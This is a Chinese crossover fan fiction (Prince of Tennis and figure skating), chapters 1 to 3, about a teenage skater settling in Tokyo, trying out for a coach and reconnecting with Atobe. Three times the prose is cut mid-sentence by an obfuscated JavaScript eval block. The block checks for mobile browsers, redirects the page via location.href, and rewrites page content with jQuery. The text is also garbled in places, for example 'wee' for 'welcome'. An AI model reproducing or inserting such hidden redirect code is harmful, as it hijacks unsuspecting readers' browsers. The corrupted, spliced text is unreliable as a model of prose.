《[网王X花滑]冰上咏叹调》 1. chapter1 7月。 东京的盛夏,空气是饱和的,裹着湿气,仿佛能拧出水来。蝉鸣从四面八方涌来,那种声浪稠密得几乎化为实体,像一张无形的网,笼罩着整个城市。 太阳炙烤着羽田机场的每一寸跑道,蒸腾起摇曳的热浪,让远处的摩天楼群都微微扭曲。羽田机场国际抵达口的冷气,也吹不散人群蒸腾出的那份焦灼与期待。 迹部景吾站在等候区,一身简约的深蓝色休闲服,过分挺拔的身姿和引人注目的容貌,与嘈杂的环境似乎有些格格不入。他没有看手表,目光平静地落在出口通道,仿佛只是在完成一项寻常任务。他身后半步处,是迹部家那位沉默却又一丝不苟的管家。 航班信息牌上,“已抵达”的提示终于亮起。 人流开始涌动。迹部微微眯起眼,像是在一片混沌中精准捕捉某个特定波长的光。 然后,他看到了。 藤原凛推着行李车,走在父母身边。棕金色长发被她随意束在脑后,随着她的步伐和动作晃来晃去。14岁的她,脸上还带着一丝稚气,少女的轮廓却已经褪去了记忆里的圆润。眼前的人,和他记忆里那个小女孩,以及通过无数次邮件拼凑出的模糊影像,缓慢重合。 ——她和邮件附件里那张站在莫斯科冰场边的照片,有七分相似。 ——但剩下的三分,是屏幕无法传递的东西:一股沉静却不容忽视的、属于运动员的凝练气场。 他想起两天前收到的她最后一封邮件,内容只有一行:“东京见。——Aria” 那封简短的邮件,此刻才真正有了重量。 她的目光也在人群中搜寻,带着一点初到陌生国度的茫然。 下一秒,他们的视线毫无预兆地在空中相遇。 时间仿佛被按下了慢放键。 迹部脸上那种程式化的、准备迎接世交的礼貌表情,极轻微地波动了一下。眼睫微微一压,眸光在那窄了一线的视野里定了定,闪过一丝极其短暂的讶异,随即沉淀为一种更深邃的审视。他看见了她眼中同样的惊讶。 他动了。 没有挥手,没有呼喊。他只是迈开步子,以一种从容不迫又目标明确的速度,穿过稀疏的人流,径直走向藤原一家。 “藤原叔叔,伊莎贝尔阿姨。好久不见,旅途辛苦了。”他微微鞠躬,礼仪完美,一副无可挑剔的世家公子模样。声音是符合他年龄的清朗,却又带着超乎年龄的沉稳。“家父家母得知您调任回国,又有机会和两位重聚,都很高兴。只是他们因重要事务仍在伦敦,今天遗憾不能前来,特令我在此恭候。” “好久不见,景吾。”伊莎贝尔露出了真切的笑容,上前轻轻拥抱了他一下, “你长大了,亲爱的,谢谢你特意过来。” 凛的父亲也看向他,目光温和:“几年不见,景吾变得很有大人样子了啊。” 迹部从容地微笑回应,他的笑容自信而优雅,“承蒙您的夸奖。作为迹部家的一员,这也是理所应当的。” 然后,他的目光才完全落在凛身上。 空气有半秒的凝滞。与长辈见礼都已完成,此刻是独属于他们两人的、跨越了四年空白的第一句对话。他的视线极快地从她脸上扫过,然后落在他身边那个巨大的的冰鞋包上。 该说什么? 说“好久不见”?太俗套。 说“你长大了”?太冗余。 一种微妙的、不知如何开启对话的生疏感,在空气中弥漫。 倒是凛先笑了起来,带着她那种在多元文化中浸染出的明朗,用英语自然地打破了沉默,“Hey, Alex! Long time no see.”(嘿,亚历克斯。好久不见。) “Alex”这个称呼,像一枚小小的钥匙,打开了一扇通往过去的大门。这个几乎只有在他家族海外业务中才会用到的名字,自他回日本后,已经几乎不用了。再次从她口中听到,带着一种奇特的熟稔。 “Long time no see.” 他面色平静,也用流利的英语回应,“And wee to Tokyo, Aria.” (欢迎来东京,凛。) 午后的阳光透过巨大的玻璃幕,将他们的身影拉长。凛还想说点什么,但迹部已经接过她父母的部分行李,引导他们走向停车点。她跟在稍后一点的位置,目光落在迹部挺拔的背上。 他变得不一样了,更精致俊秀的面容,精心淬炼的气场,仅仅是站在那里,周身便自成一道无形的界限。所以……也更疏离了。他的背影和她记忆中那个骄傲又有点别扭的小男孩重叠,又分离。 凛在心里叹了口气。 虽然在莫斯科的四年也会时不时通过邮件分享各自的故事,但好像,还是和以前不一样了。刚刚重逢的那一面,她甚至没敢像小时候、像在莫斯科那样,给许久未见的友人一个拥抱。那个在她生活里如同呼吸般自然的礼节和抬手的冲动,看到他平静目光的那一瞬,无声无息地熄灭了。 她拎着自己的冰鞋包,默默地跟了上去。 司机往车上安置大件行李的间隙,迹部非常自然地落后半步,恰好停在凛的身边。两人之间隔着一段礼貌的社交距离,空气中还残留着方才与长辈寒暄的正式感。凛甚至能闻到他身上极淡的的香水味,带着玫瑰的香气,又混着佛手柑和雪松的清爽调,与东京夏日的闷热截然不同。 他目视前方,脸上还是那副社交表情,右手却极其快速且隐蔽地伸出,极其轻轻地拽了一下她束在脑后的马尾。 动作快得像一个错觉。 凛猛地转头看他。 他却已经若无其事地拉开了车门,不再看她,彬彬有礼地请她父母上车。 凛愣在原地一秒,随即忍不住低下头,肩膀微微耸动,无声地笑了起来。 “上车吧。”迹部自然地接过凛手里的冰鞋包,眼底终于掠过一丝轻松的笑意。 “幼稚。” 但,她很开心。所有因时间和距离产生的陌生感,都在这个突如其来、属于他们童年秘密的小动作里,烟消云散。他还是那个迹部景吾。或者说,他愿意继续做她记忆里的可以玩闹的伙伴。 车辆平稳地汇入东京傍晚的车流。凛看着窗外飞速掠过的都市景观,高耸的发光广告牌,内心有一种微妙的不实感。 这里和伦敦不一样,伦敦是厚重的,优雅的,像一本摊开的旧书,每条街都在讲故事。这里和莫斯科也不一样,莫斯科是……磅礴的,热情的,带着一种不管不顾的野性。 而东京,则是喧嚣繁华,一种充满未来感的密集与秩序。 “和想象中一样吗?”迹部的声音打破了沉默,语气听起来像是随口一问。 “唔……像一个高速运转的精密仪器。”凛没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016628|194210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有转头,目光仍然流连在窗外,但又没有聚焦,“所以,这就是你的家乡吗?” 迹部没有立刻回答,他的目光也落在窗外流转的灯火上。“对迹部家而言,东京不是‘家乡’那么简单。”他微微侧头,深邃的蓝色眼眸在窗外落日的映照下,边缘泛出淡淡的金棕色,像在深蓝色大海里里撒了细碎金粉,贵气逼人,“应该说是,领地。” 领地?凛转头看向迹部。 但他没再解释,反而眉头微挑,“说起来,东京也算是你的家乡吧?” 凛愣了下,这个反问让她有点尴尬。 要说,藤原家在日本也算是很有传承的家族。即便不说家族,她的父亲在日本外交部门任职,家里在东京有置业,甚至凛自己也是日本籍出身。但,除了幼时几次随父母到东京探亲的模糊印象外,凛对东京没有任何归属感,甚至不及她随父亲工作派驻调任的任何一个城市。幼时的多伦多,后来的伦敦,还有刚刚离开的莫斯科,都在她记忆里留下了浓厚的印记。 而这次的东京,在她心里和以往的每次调任换城市似乎也没什么不同,确实没什么回到家乡的感觉。 “家乡吗?”她重复了一遍,语气难明。 为了打破这略显微妙的气氛,藤原凛换了个话题,也是她最关心的事:“对了,我家附近,有像样的冰场吗?” 迹部似乎早就料到有此一问,轻笑了一下,从身旁拿出一个质感极佳的皮质文件夹,递到她手中,“送你的,算是欢迎礼。” 藤原凛接过来,文件夹封面上甚至用金色花体字烫印着她的英文名Arial。里面是一份为她量身定制的指南,条目清晰。 ?「东京商业冰场分析」:详细列出了几家顶级商业冰场的优劣势、早冰时段、冰面质量评估。其中两家被特别星标,备注:“已安排最高优先级预约权。” ?「skating club及教练简介」附有几位知名教练的履历、教学风格分析,甚至还有他们与迹部家关联的备注(如“家族网球教练之友”、“可安排试课”)。 ?「生活指南」从她可能喜欢的甜品店到好用的交通APP,从她家公寓附近的超市到口碑极好的物理治疗诊所,信息一应俱全。 车厢内一片寂静。 凛低头翻看着那份详尽到可怕的指南,心下震动。这远超乎一个普通的“欢迎礼包”,这份沉默的、巨大的用心,比任何热情的言语都更让她感到冲击。 这就是迹部的领地吗? 过了好几秒,她才张了张嘴。想说什么,却一时又不知该说什么。 她怔怔地看着手上的清单,心下所有的波动、震动、惊叹,最终却只是化作一声极轻的、几乎被车窗外的风声吹散的: “……Wow.” 然后,她合上文件夹,抬起头,直视着他的眼睛。灰绿色的眸子像盛着碎冰的湖水,清澈沉静,却亮得惊人,“Many thanks, Alex.(谢谢,真是帮大忙了。)” “啊嗯。” “Wee back to Tokyo, Aria。(欢迎回东京)”迹部再次重复了见面的那句话,这次是“回”。 上车前被拽过的发梢随着她的动作蹭过肩膀,她摸着发梢,再次看向窗外。 家乡吗? 她开始对这一座家乡的城市有了期待。 2. chapter 2 清晨六点,横滨冰场。 “早冰”时段的场馆内空无一人,藤原凛的身影是这片纯白世界里唯一的动态。 到达东京的第三天,藤原凛已经恢复了日常的上冰练习。 热身、步法、旋转、跳跃,各个要素的训练都结束后,是一套完整的节目练习。 加速,仅仅两次深刃的蹬冰压步,她速度便已提起。刀刃划过,发出介于嘶鸣与叹息之间的锐响,在空旷的场馆里回荡。 训练暂告段落,她滑向场边,拿起平板电脑。屏幕那头,是她远在俄罗斯的主教练奥列格。背景似乎是熟悉的训练基地,奥列格的声音透过耳机传来,带着西伯利亚寒风般的直接: “Aria,队内测试的数据已经足够证明你的能力。继续停留在俱乐部里训练是对才能的浪费。你需要真正的赛场,裁判的目光,需要压力。”奥列格的语气没有任何商量余地,“是时候把你的4周跳扔出去,听听世界的回响了。” 她在俄罗斯的恩师,那位以严厉和打造高难度跳跃闻名的教练,在越洋视频中给予了她建议。 “我仍然可以远程指导你。但是,你知道远程指导无法解决所有问题。”奥列格口风一转,“你已经满14岁。在俄罗斯这几年,你因为国籍的问题没能参加国籍比赛,如果要以2年后的奥运为目标,你在青年组只能待一年,15岁必须就要升组。从青年组到成年组过渡的时期很关键,你需要一个能在身边,负责日常训练、技术细节打磨的教练。” “嗯,我明白。”奥列格的话语也让她陷入沉思。日本的比赛体系和俄罗斯也会有差异,一个本土教练能够帮助她更好地融入日本花样滑冰环境。 她的目光不由自主地投向放在长椅上那个与周围环境格格不入的、质感极佳的文件夹。来自迹部景吾的“礼物”。 在车里刚拿到文件的时候,她没法细看,到家之后才详细翻阅。文件的专业性和针对性都详尽得可怕。除了冰场、俱乐部的清单外,教练名录后附上了详细的介绍,包括教练本人的经历、执教特色、旗下选手以及选手比赛成绩和各自优势。另有日本滑冰协会(JSF)选手注册、代表权获取及国内外赛事体系全指南,以及潜在资源信息及联络方式等等。越是细看,她心中的震动便越是强烈。这两天除了调整状态和时差,她大部分的时间都放在研究这份文件上。 藤原凛翻到贴有教练标签的部分,视线掠过各种对比和图表,最终停留在“教练团队评估”一栏。其中一位名叫佐久间智弘的教练履历旁,附有迹部用黑色钢笔写下的、力透纸背的简短批注: 「長期的視野。持続可能性を重視。」 (注重长远视野。重视可持续性。) 资料显示,佐久间教练作为男单选手时成绩并不突出,因伤早早退役,但他对技术细节有着超乎常人的钻研精神。执教早期曾赴欧洲学习运动科学和生物力学,并将其系统性地引入日本花滑训练,是日本花滑“科学化训练”的先驱之一。此后一手培养出日本第一位世界级男单冠军和女单冠军,奠定了日本花滑在国际上的地位。他擅长根据选手的个人特点,尤其是身体条件和艺术背景,来构建独特的节目和训练计划,风格更偏向于技术与艺术的精妙平衡,而非单纯的难度堆砌。 “可持续的路径……长远的视野……” 凛轻声自语。她比任何人都清楚自己身体的潜力,但也明白俄罗斯那套高强度、高损耗的训练方式对女单选手意味着什么。她渴望的不只是一次石破天惊的亮相,她渴望的是像那些传奇名将一样,拥有一个长久而辉煌的、能不断突破自我的职业生涯。 一种强烈的冲动促使她向佐久间教练发出试训申请。 试训安排在一周后,Tokyo Skating Club(东京滑冰俱乐部)。 佐久间智弘,一位年近五十、气质温和的男子,抱着手臂站在挡板外。他的身旁是合作多年的金牌编舞师,上野理惠。 藤原凛完成陆上热身,穿好冰鞋,摘掉刀套,准备踏入冰场。 “藤原桑,”佐久间教练开口,声音平稳,“如果你有成套节目的话,请为我们滑一套完整的节目,短节目或自由滑都可以。” 这个要求出乎凛的意料,却又在情理之中。这不再是单项技术的考察,而是对她综合能力的全面评估。她点点头,几分钟的冰上练习结束,凛向教练示意。 “开始吧。” 凛深吸一口气,又慢慢呼出。她选择了之前在俄罗斯俱乐部队内测试赛使用的一套短节目,也是这个赛季准备使用的一套——站在球上的少女。 音乐响起。 她以一连串复杂而流畅的步法切入,用刃深,弧线饱满,瞬间将速度提起。上野理惠的眼睛几乎是瞬间就亮了起来,她低声对佐久间说:“老师,她的滑行……基底太好了,不仅流畅,而且速度保持能力惊人,作为女单,这是梦寐以求的艺术性基础。” “嗯。”佐久间微微颔首,表情没有任何变化,只是目光更加专注。 一个2A(阿克塞尔两周跳)稳稳落地,轻盈但高度惊人。凛以高抬腿的姿态滑出,随即接了一个燕氏巡场。跳跃被巧妙地编织在音乐中。3Lz+3T连跳在音乐的第一个高潮点爆发,与音乐情绪几乎无缝对接。 随后进入的组合旋转更是展现了她的全面性。一个极低姿、转速惊人的抱腿蹲转开场,浮腿与地面平行,而后打开、换足,变化为侧蹲转。起身后,紧接着一个跳进的直体燕氏,随后提刀变换为甜甜圈,再流畅地拉成提刀燕氏,而后头肩后仰、改为双手提刀,变换成最终的贝尔曼姿态。姿态变换间,转速不减反增,充满了控制力与美感。 佐久间教练默默地看着,偶尔在本子上记录着什么。 音乐进入最激昂的段落,她的体能依旧充沛,卡着音乐节奏,完成了最后一个三周的loop单跳,一套编排步法后,凛结束了自己的节目和展示。 “你以前练过冰舞吗?” 凛一愣,没想到佐久间教练的第一句话会是问这个。“是的,我妈妈以前是冰舞选手,小时候我练过几年的冰舞,后来觉得跳跃更有意思,就转女单了。” 原来是有家族传承。 “再看看其他的跳跃。” 凛点点头,滑开一段距离,加速——起跳! 3F3Lo(菲利普三周接鲁普三周)……她轻松地完成了一个高质量的三周联跳,腾空高,转速快,落冰伸展。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016629|194210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佐久间教练的眉头微微动了一下。游刃有余的腾空高度,几乎所有的三周跳都是。如果是在俄罗斯的训练环境下,这样的起跳空间足以完成一个四周。 “四周跳呢?”他问道,语气依旧平稳,但眼神里的光已经不同。 凛深吸一口气。她调整状态,以更快的速度滑入,奋力起跳、迅速收紧——空中令人眼花缭乱地旋转四周——落冰! 4T(后外点冰四周),成功! 佐久间教练抱臂的手指,在无人看见的地方,无声地收紧了些。 紧接着,她再次滑向场中,准备展示她目前掌握的另一个四周跳—4s。 这一次,佐久间教练脸上那平静的面具终于出现了一丝裂痕。4T之外居然还有其他四周储备?! 凛的左脚清晰地压在左后内刃上,冰刀在冰面上刻出一道优美而深邃的弧线,右足自然伸展在弧线之内,随着膝盖深屈下压蓄力,她的身体如压缩到极致的弹簧般腾空,四周旋转快得几乎看不清。然后,是一声沉闷而坚定的响声,刀刃带着巨大的冲击力刻在冰面上,虽然落冰稍有晃动,但足周且成功站住了! 佐久间智弘手中的笔停顿了片刻,然后缓缓地、几不可闻地吐出一口一直提着的气。他转向身旁同样震撼的编舞师上野理惠,声音低沉,带着一丝极力压制却依旧泄露的震动: “上野,你看到了吗?” “是的……老师,我看到了!”上野理惠的语气带着难以置信的激动,“那种跳跃的高度、远度,还有落冰的稳定性……这完全是世界顶级男单的水平,却出现在一个十几岁的女选手身上。而且,她的滑行和艺术表现力还有如此巨大的挖掘空间……” 他紧紧盯着冰面上微微喘息却眼神明亮的少女。 凛今天展示的状态有一种奇异的割裂感。每一个跳跃,都是加速决绝,起跳果敢,毫无保留,带着一种近乎本能的强悍。她的4T(后外点冰四周跳)已然娴熟,腾空时身体轴心稳定得像一枚被精准抽打的陀螺,落冰瞬间,冰屑炸开成一圈短暂的星环。然而,在跳跃与跳跃之间,她的滑行却呈现出另一种截然不同的风貌——极致的流畅与深刃。加俄混血、冰舞出身母亲,既带给了她舞者一般与生俱来的韵律感,又赋予她未被完全驯服的野性。极致的爆发与极致的流畅,在她身上矛盾地共存。 试训结束,凛滑向场边,礼貌地向两位老师行礼。佐久间看向凛:“藤原桑,你的能力我们已经大致了解了。我和团队商议后会尽快回复你。” “好的。”凛点点头,然后平静地离开冰面,走向更衣室。 不出意外的话,佐久间教练应该是会收下她的。 看着她离去的背影,佐久间智弘的目光重新投向空无一人的冰场,仿佛还能看到那个棕金发的少女留下的、充满力量的轨迹。他的声音不高,却带着一种下定决心的沉重与清晰:“她带来的,可能不只是几个四周跳那么简单。” 他顿了顿,仿佛在消化这个认知,“她可能会彻底改变日本女单的竞争格局,甚至……冲击世界女单的难度壁垒。”他看向上野,眼中闪烁着一位顶尖教练在发现足以改变游戏规则的璞玉时,才会迸发出的锐利光芒。 3. chapter 3 东京夏末的黄昏,暑气未散,光线却变得绵长而柔和。迹部景吾踏进藤原家宅时,庭院里的晚蝉仍在声嘶力竭地鸣叫。 开门的是藤原凛。她穿着简单的白T恤和牛仔短裤,头发松松挽起。看到他,眼底掠过一丝熟悉的笑意,“Hey,Alex!” 她的胳膊下意识地微微向前抬起,然后顿了顿,又立刻克制地垂落,侧身让出通道,“欢迎。” 迹部迈步进门。他的目光在她脸上停留了一瞬——那点几乎消失的犹豫,和声音里细微的顿挫,没有逃过他的眼睛。 “刚才犹豫什么。”他脚步未停,声音平直的落下,语气不是疑问。 凛的脚步滞了一下,“……没什么。” 迹部停下了脚步,转过身,目光沉静地落在她脸上。冰蓝色的眼睛带着审视,锐利得惊人。 “啊嗯?” 一个音节。尾音危险地上挑,带着毫不掩饰的压迫感。之前在机场那种,被他气场完全锁定的感觉又回来了。 他的眼神注视着她,像是在说: ——我在给你最后一次机会,收起那套敷衍。 “Fine.(好吧。)”凛吐出一口气,仿佛卸下了一个不必要的负担,“I was just wondering about a hug. You know, a proper one. But you were so… ‘King of Tokyo’ at the airport. Wasn’t sure if it was still a thing there.”(我只是在犹豫该不该给你个拥抱。就,拥抱礼那种。但你之前在机场那气场,简直一整个‘东京之王’,生人勿近……所以我拿不准,这还是不是我们之间的惯例了。) 她说完了。空气安静下来,只有远处隐约的蝉鸣。 迹部看着她。她脸上那点迟疑消失了,取而代之的是一种“反正我说了”的坦荡,甚至带点——破罐子破摔的放松。 “多虑。” 他评价道,语气已然恢复平静,那点因被敷衍而产生的不悦,悄无声息地消散了。甚至带上了一丝几不可闻的……满意? 接着,他做出了更直接的行动——上前半步,直接张开手臂,一个短暂、有力的拥抱,完成了那个被延迟的礼节。凛本能的抬起胳膊轻触他的后背。 “欢迎回来,Aria。” 他的声音在她耳边响起,随即松开。 凛站在原地,眨了眨眼,忽然笑了,“Guess someone hasn''t changed.” (看来某人没什么变化?) 迹部已经转身继续向前走去,只是在听到她这句话时,轻哼了一声,听不出是赞同还是反驳。 藤原家是典型的日式庭院。脚下的小径是鹅卵石铺就,拼成各种图案,蜿蜒通向深处,一旁点缀着几块青苔斑驳的石头。院子里还种着几株枫树和迹部叫不上名字的植物,枫树的叶子还没有红,在夏末的暖风中簌簌轻响。建筑本身是融合的风格,保留了古朴的木质移门结构,又嵌入了大面积的落地玻璃,整个庭院的景致如同流动的画卷。 室内装修又是简约的现代风,色调以原木和胡桃木色为主。 “景吾,欢迎你来。”凛的父亲——那位气质儒雅、目光睿智的外交官,微笑着起身迎接。他穿着式样简单的衬衫,袖子挽起,与在正式场合的严肃判若两人。 “藤原叔叔,Isabelle阿姨,打扰了。”迹部礼貌地问候,递上礼物——一瓶波尔多红酒,大约正好在他和凛出生年份前后——举止无可挑剔。 “快坐,Alex。”伊莎贝尔,凛的妈妈,正从厨房端出最后一道汤。脸上洋溢着温暖的笑容。岁月似乎格外优待这位前冰舞选手,她依然保持着优美的体态,碧色的眼眸中带着历经沉淀的温柔与力量,“凛这段时间,多亏你照顾了。” 几人落座,凛的父亲很自然地聊起了国际时事,从某地区的贸易协定谈到最新的外交动态。迹部从容应对,他不仅了解事件本身,更能提出颇具洞察力的见解,分析背后的利益博弈,言辞间展现出的视野与格局,远超普通国中生,甚至不逊于许多成年人。 “看来你在日本,并未局限于校园之内。”藤原先生举杯,意味深长。 迹部坦然接受这份赞许, “迹部家需要了解世界运行的规则。” 伊莎贝尔温柔地注视着他:“你父母最近还在伦敦?” “是的,他们在海外的时间比较多,东京一般只呆一两个月。” “一个人住这么大的房子,会不会太冷清了?”伊莎贝尔把离他较远的餐盘递过去,“如果不介意的话,以后常来家里吃饭,就像小时候一样。” 窗外的蝉声忽然停了,餐厅里只剩下餐具轻碰的声响。迹部垂下眼帘,长长的睫毛在灯光下投出细密的影子。这种家常的温暖,对他而言有点陌生的。 “好的。”迹部接下了这份好意。虽然他并不依赖,但内心偶尔也有期待和向往。 正餐撤下,伊莎贝尔端上了甜品,一道经典的英式甜品——伊顿麦斯。底层是蓬松、雪白的奶油,被打发得恰到好处;中层散落着破碎的蛋白酥皮,它们像被阳光晒透的脆脆云片,带着细腻的甜味;顶层则堆满了鲜红欲滴的新鲜草莓,对半切开,带着令人愉悦的香气。 放在凛面前的,是一道草莓酸奶碗,看着虽然也是红白相间,但只有酸奶和草莓。 “我记得你也很喜欢这个?”迹部看向她,有些不解。 凛的目光在那杯伊顿麦斯上停留了一秒。鲜红的草莓,雪白的奶油,构成了一种甜蜜而愉悦的视觉冲击。她不自觉地抿了一下嘴唇,但下一秒,就强迫自己移开了视线。 “喜欢。所以它现在是我的‘禁食清单’榜首。” 她的语气平静,像是在陈述一个客观事实,但迹部没有错过她刚才那一瞬下意识的渴望。 “就这一小杯,”她的之间虚点向迹部面前的玻璃杯,“500大卡的热量,需要我在训练后多滑将一个小时才能消耗掉。还不算对肌肉和体脂率的破坏。” 她收回手,目光重新看向迹部,灰绿色的眼睛里没有委屈,只有一种清晰的认知,“所以,在领奖台之前,我和它暂时解除盟友关系。” 迹部静静地听着。他看到了她对甜食本能的向往,但更看到了她对此近乎冷酷的权衡与割舍。这种将欲望置于绝对目标之下的理性,让他心底掠过一丝真正的触动。 “……原来如此。” 他的声音里多了一丝郑重的意味。 “不用同情我啊。”凛似乎觉得他这句回应过于严肃了,有点孩子气地眨眨眼,“等赛季结束,我能一个人吃下三份。” 饭后,藤原夫妇借口处理事务,体贴地给了年轻人空间。凛带着迹部参观这处已有不少年头,但她也刚熟悉不久的“新家”。 日式走廊联通了各个房间,会客厅,茶室,书房,然后是她的房间——走廊的尽头——拥有整面转角的落地窗。窗外是庭院的一角,种着一株有些年头的银杏树,绿色的扇形树叶随着夜风轻轻摇摆。 凛的房间布置得很简洁,不再是伦敦家里粉粉的公主风。一张床,隐藏式的衣柜,一张带书柜的书桌。落地窗的转角,还堆着一张懒人沙发。 书柜摆放了不少东西,左边是各类书籍,右边有一层漫威的手办,一层零星摆放着几个业余比赛的小奖杯和定制纪念品,还有一层是照片摆台。 摆台上有一张凛大约6岁时拍的全家福,是她刚到英国的时候拍的。旁边另一张照片,迹部没见过。是少女年纪的凛与一对老年夫妇的合影。老先生有着一头银发和一双与她如出一辙的、带着笑意的绿色眼眸,老太太则气质温婉。 “这张是最近拍的?外祖父母吗?”迹部猜测。 “嗯,去年暑假去加拿大看望他们时拍的。忘了你没见过我外祖父母了。”凛的声音柔和下来,“我外公是俄罗斯人,他一直说我的跳跃能力是继承了战斗民族的爆发力;外婆是加拿大人,现在还在多伦多带冰舞学员。当年我不练冰舞转女单的时候,外婆还开玩笑说我‘背叛了家族传承’。” “所以你的眼睛,”迹部看向她,“是遗传自你外公。” “很像吧?”凛上前,拿起相框,轻抚了一下。 “不过,外公的眼睛比我好看多了,颜色更深,像西伯利亚的森林。听说外婆当年就是被这双眼睛给‘迷惑’了。”她轻笑。 她放下相框,迹部的目光已经转到另一侧的照片。他记得这张,凛在英国第一次参加比赛,穿着考斯滕在冰场外拍的照片,笑容甜美,像个洋娃娃。照片相框旁是一个小奖杯,奖杯里坐着一只手掌大小的帕丁顿熊。 迹部的目光在那只熊上停留了一瞬,“还留着?” 这是他送的。 其实那场不算是什么正式的比赛,但是凛第一次参与排名竞争的比赛。那会她大概8岁左右?很重视,邀请了很多好友去看,迹部就在被邀之列。 照片上看着她很开心,但是比赛的过程其实不是特别美好。他记得节目前两个跳跃她都摔了,手好像还划破了,然后她就哭了。但是,她没下场,一边哭一边滑完了后半段的节目。 好在,其他小朋友水平和发挥也没有太好。所以,凛虽然前面摔了,但是成功的那个跳跃难度更高,而且滑行比其他人漂亮多了,所以最后她还是得了第三名,站上了领奖台。 颁奖的时候她眼睛鼻头都还红红的,他就把这个熊送给了她。 “当然。”凛顺着他的目光看过来,抬手整理了一下小熊的红帽子,“第一次比赛收到的娃娃,值得专门保存。” 放下照片,凛推开房间里的另一个门,里面是一个小型的训练室,和凛的房间联通在一起。整面墙的镜子,靠墙的把杆,还有训练踏板、弹力带和波速球等日常训练器械。“这里可以做一些日常的训练,主要是核心和脚踝稳定性。” 凛走到房间中间的波速球(半圆平衡球)旁,轻盈地踩上半圆的平面,做了一个简单的燕氏平衡。整个过程中,她的脚踝以及波速球接触地面的那个半圆,几乎不见晃动。 她轻松地跳下来,拍拍手,“好了,逛完了。和你的白金汉宫’是没法比。” 迹部环顾这处透着鲜明生活气息与个人印记的空间,语气罕见的平和:“也很好。” “嗯,我也觉得蛮好。和伦敦的小院子不太一样,但很有特色。躺在床上听夏天的蝉鸣,会觉得很热闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016630|194210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 两人慢慢往外走,来到廊下,夜色已浓,庭院里的石灯散发出朦胧的光晕。凛从冰箱里拿出瓶装椰子水和巴黎水,一手一瓶,举到迹部面前:“which one?no other choice.” 迹部接过巴黎水。两人并肩坐在木地板上,看着庭院里影影绰绰的景致。 “坐在地板上聊天,是不是不太符合你华丽的审美?”凛侧头问他。 冰凉的液体入口,气泡在口腔里留下明显的存在感。迹部点头,“确实是少有的体验。不过,本大爷允许了。” 晚风拂过,带来枫叶的沙沙声和隐约的流水声。凛拧开水瓶,很自然地提起:“教练确定了。“ “哦?” “佐久间教练。” 蝉声又响起来了,比刚才更加绵密,像这个夏天不肯散去的余韵。 凛双手撑在身后,仰头望着夜空。东京的星星总是很稀疏,但今晚似乎特别明亮。她想起小时候在伦敦,他们常常这样并肩坐在花园里,看萤火虫在夜色中飞舞。 “佐久间教练和奥列格教练的风格很不同,但我能感觉到,他的方法或许……更适合未来的发展。” 她开始详细说起试训的情况,说起佐久间教练对她滑行基础的赞赏,以及对她跳跃技术细节的一些微调建议。这是她第一次主动且详细地对迹部谈起训练的具体内容,不再是短信里那些简单的“顺利”或“还好”。 “不过跳跃的话,可能还是俄罗斯更强、经验更丰富,所以我也会不定期地回俄罗斯那边训练一段时间,强化跳跃的练习。” 迹部安静地听着,指尖无意识地摩挲着冰凉的玻璃瓶身。他能感觉到,凛正在努力地将过去与现在、将俄式训练的成果与日式——或者说,更具国际视野的——训练理念进行融合。 凛讲完一段,拿起椰子水喝了一口,目光落在迹部随意放在地板上的手上,指节分明,衬衫袖口随意向上挽起,露出的小臂线条轮廓清晰。 她忽然意识到,自己似乎一直在倾诉。 “光顾着说我了,”她曲起腿,用手环住膝盖,下巴轻轻搁在上面,“你呢?冰帝的网球部……还是那么‘君临天下’吗?” 她用了他以前在邮件里用过的形容词,带着一丝不易察觉的笑意。 “当然。”迹部回答得干脆利落,眼中是毫不掩饰的锋芒,“目标只有全国冠军。” “全国冠军啊……”凛轻声重复,眼神随着思绪飘远了一点,嘴角不自觉地弯起一个向往的弧度,“然后呢?先是全国,然后是世界,未来再站上更大的舞台?比如,温网那种?” 她说着,脑海里甚至想象出他穿着白色球衣,在草地球场上击球的模样,语气也带上了几分朋友间畅想的随意,“四大满贯的冠军奖杯,听起来就很‘迹部’。” 话音刚落,她自己先顿住了。 温网、大满贯……这些词所代表的,是彻头彻尾的职业网球世界巅峰。 而那条路…… 庭院里石灯的光晕似乎晃动了一下。蝉鸣声突兀地变得清晰起来。 凛立刻意识到自己说了什么——那是一个建立在“如果他能完全自由选择”基础上的、天真的假设。 而那个“如果”对迹部而言……几乎不存在。 她不是故意要触碰这个略显沉重的话题,只是顺着比赛的逻辑自然而然地……说了下去。现在却好像让气氛变得微妙起来。 迹部沉默了片刻,修长的手指无意识地摩挲着巴黎水瓶身。他没有立刻反驳或解释,只是静静地看着她脸上那一闪而过的细微表情——从畅想到恍然再到那点无措。 